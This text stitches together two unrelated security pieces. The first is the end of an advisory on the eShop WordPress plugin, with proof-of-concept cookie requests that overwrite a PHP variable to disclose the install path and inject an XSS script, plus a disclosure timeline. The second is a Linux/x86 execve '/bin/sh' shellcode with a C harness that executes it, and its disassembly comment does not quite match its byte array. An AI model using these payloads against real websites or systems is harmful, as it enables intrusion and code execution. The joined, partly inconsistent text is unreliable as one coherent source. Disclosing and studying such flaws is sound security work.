overwrites contents of the "wpdb" PHP variable, which causes an error in code and discloses full installation path: GET /shopping-cart-2/checkout/ HTTP/1.1 Cookie: eshopcart=wpdb%3d1%7C; Another PoC triggers the XSS vector and executes JS pop-up box displaying "ImmuniWeb": GET /shopping-cart-2/checkout/ HTTP/1.1 Cookie: eshopcart=phone%3dsdfg'"><script>alert(/ImmuniWeb/)</script> ----------------------------------------------------------------------------------------------- Solution: Disclosure timeline: 2015-04-15 Vendor Alerted via contact form and thread in support forum, no reply. 2015-04-29 Vendor Alerted via contact form and emails, no reply. 2015-05-05 Fix Requested via contact form and emails, no reply. 2015-05-06 Public disclosure. Currently we are not aware of any official solution for this vulnerability. ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23255 - https://www.htbridge.com/advisory/HTB23255 - Arbitrary Variable Overwrite in eShop WordPress Plugin. [2] eShop WordPress Plugin - http://quirm.net/ - eShop is an accessible shopping cart plugin for WordPress, packed with various features. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model. ----------------------------------------------------------------------------------------------- Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References. Source

/* ; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes ; Platform: linux/x86_64 ; Date: 2014-06-26 ; Author: Mohammad Reza Espargham ; Simple ShellCode section .text: 08048060 <_start>: 8048060: eb 17 jmp 8048079 08048062 : 8048062: 5e pop %esi 8048063: 31 d2 xor %edx,%edx 8048065: 52 push %edx 8048066: 56 push %esi 8048067: 89 e1 mov %esp,%ecx 8048069: 89 f3 mov %esi,%ebx 804806b: 31 c0 xor %eax,%eax 804806d: b0 0b mov $0xb,%al 804806f: cd 80 int $0x80 8048071: 31 db xor %ebx,%ebx 8048073: 31 c0 xor %eax,%eax 8048075: 40 inc %eax 8048076: cd 80 int $0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 2f das 804807e: 62 69 6e bound %ebp,0x6e(%ecx) 8048081: 2f das 8048082: 73 68 jae 80480ec */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define PAGE_SIZE 4096U char code[] = { "\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd" "\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); return 0; } Source